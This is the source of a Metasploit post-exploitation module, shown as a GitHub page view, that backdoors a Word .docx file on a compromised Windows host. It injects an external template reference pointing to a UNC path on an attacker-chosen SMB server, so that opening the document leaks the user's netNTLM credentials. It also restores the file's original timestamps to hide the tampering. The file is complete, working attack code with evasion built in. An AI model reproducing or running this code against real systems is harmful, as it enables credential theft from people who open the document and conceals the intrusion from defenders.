rapid7/metasploit-framework

View on GitHub
modules/post/windows/gather/word_unc_injector.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#

# for extracting files
require 'zip'

#
# Project
#

# for creating files
require 'rex/zip'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Microsoft Office Word UNC Path Injector',
        'Description' => %q{
          This module modifies a remote .docx file that will, upon opening, submit
          stored netNTLM credentials to a remote host. Verified to work with Microsoft
          Word 2003, 2007, 2010, and 2013. In order to get the hashes the
          auxiliary/server/capture/smb module can be used.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
        ],
        'Platform'    => ['win'],
        'SessionTypes'    => ['meterpreter'],
        'Author' => [
          'SphaZ <cyberphaz[at]gmail.com>'
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              priv_fs_get_file_mace
              priv_fs_set_file_mace
            ]
          }
        }
      )
    )

    register_options(
      [
        OptAddress.new('SMBHOST', [true, 'Server IP or hostname that the .docx document points to']),
        OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
        OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
      ]
    )
  end

  # Store MACE values so we can set them later again.
  def get_mace
    begin
      mace = session.priv.fs.get_file_mace(datastore['FILE'])
      vprint_status('Got file MACE attributes!')
    rescue StandardError
      print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
    end
    return mace
  end

  # here we unzip into memory, inject our UNC path, store it in a temp file and
  # return the modified zipfile name for upload
  def manipulate_file(zipfile)
    ref = '<w:attachedTemplate r:id="rId1"/>'

    rels_file_data = ''
    rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
    rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/'
    rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"

    zip_data = unzip_docx(zipfile)
    if zip_data.nil?
      return nil
    end

    # file to check for reference file we need
    file_content = zip_data['word/settings.xml']
    if file_content.nil?
      print_error('Bad "word/settings.xml" file, check if it is a valid .docx.')
      return nil
    end

    # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
    if !file_content.index('w:attachedTemplate r:id="rId1"').nil?
      vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)')
    else
      # now insert the reference to the file that will enable our malicious entry
      insert_one = file_content.index('<w:defaultTabStop')

      if insert_one.nil?
        insert_two = file_content.index('<w:hyphenationZone') # 2nd choice
        if !insert_two.nil?
          vprint_status('HypenationZone found, we use this for insertion.')
          file_content.insert(insert_two, ref)
        end
      else
        vprint_status('DefaultTabStop found, we use this for insertion.')
        file_content.insert(insert_one, ref)
      end

      if insert_one.nil? && insert_two.nil?
        print_error('Cannot find insert point for reference into settings.xml')
        return nil
      end

      # update the files that contain the injection and reference
      zip_data['word/settings.xml'] = file_content
    end
    zip_data['word/_rels/settings.xml.rels'] = rels_file_data
    return zip_docx(zip_data)
  end

  # RubyZip sometimes corrupts the document when manipulating inside a
  # compressed document, so we extract it with Zip::File into memory
  def unzip_docx(zipfile)
    vprint_status("Extracting #{datastore['FILE']} into memory.")
    zip_data = Hash.new
    begin
      Zip::File.open(zipfile) do |filezip|
        filezip.each do |entry|
          zip_data[entry.name] = filezip.read(entry)
        end
      end
    rescue Zip::Error => e
      print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
      return nil
    end
    return zip_data
  end

  # making the actual docx
  def zip_docx(zip_data)
    docx = Rex::Zip::Archive.new
    zip_data.each_pair do |k, v|
      docx.add_file(k, v)
    end
    return docx.pack
  end

  # We try put the mace values back to that of the original file
  def set_mace(mace)
    if !mace.nil?
      vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
      begin
        session.priv.fs.set_file_mace(datastore['FILE'], mace['Modified'], mace['Accessed'], mace['Created'], mace['Entry Modified'])
      rescue StandardError
        print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
      end
    end
  end

  def rhost
    client.sock.peerhost
  end

  def run
    # sadly OptPath does not work, so we check manually if it exists
    if !file_exist?(datastore['FILE'])
      print_error('Remote file does not exist!')
      return
    end

    # get mace values so we can put them back after uploading. We do this first, so we have the original
    # accessed time too.
    file_mace = get_mace

    # download the remote file
    print_status("Downloading remote file #{datastore['FILE']}.")
    org_file_data = read_file(datastore['FILE'])

    # store the original file because we need to unzip from disk because there is no memory unzip
    if datastore['BACKUP']
      # logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
      # FileUtils.mkdir_p(logs_dir)
      # @org_file =  logs_dir + File::Separator + datastore['FILE'].split('\\').last
      @org_file = store_loot(
        'host.word_unc_injector.changedfiles',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        rhost,
        org_file_data,
        datastore['FILE']
      )
      print_status("Local backup kept at #{@org_file}")
      # Store information in note database so its obvious what we changed, were we stored the backup file..
      note_string = "Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
      note_string += " Local backup of file at #{@org_file}."
      report_note(
        host: session.session_host,
        type: 'host.word_unc_injector.changedfiles',
        data: {
          session_num: session.sid,
          stype: session.type,
          desc: session.info,
          platform: session.platform,
          via_payload: session.via_payload,
          via_exploit: session.via_exploit,
          created_at: Time.now.utc,
          files_changed: note_string
        }
      )
    else
      @org_file = Rex::Quickfile.new('msf_word_unc_injector')
    end

    vprint_status("Written remote file to #{@org_file}")
    File.open(@org_file, 'wb') { |f| f.write(org_file_data) }

    # Unzip, insert our UNC path, zip and return the data of the modified file for upload
    injected_file = manipulate_file(@org_file)
    if injected_file.nil?
      return
    end

    # upload the injected file
    write_file(datastore['FILE'], injected_file)
    print_status('Uploaded injected file.')

    # set mace values back to that of original
    set_mace(file_mace)

    # remove tmpfile if no backup is desired
    if !datastore['BACKUP']
      @org_file.close
      begin
        @org_file.unlink
      rescue StandardError
        nil
      end
    end

    print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
  end
end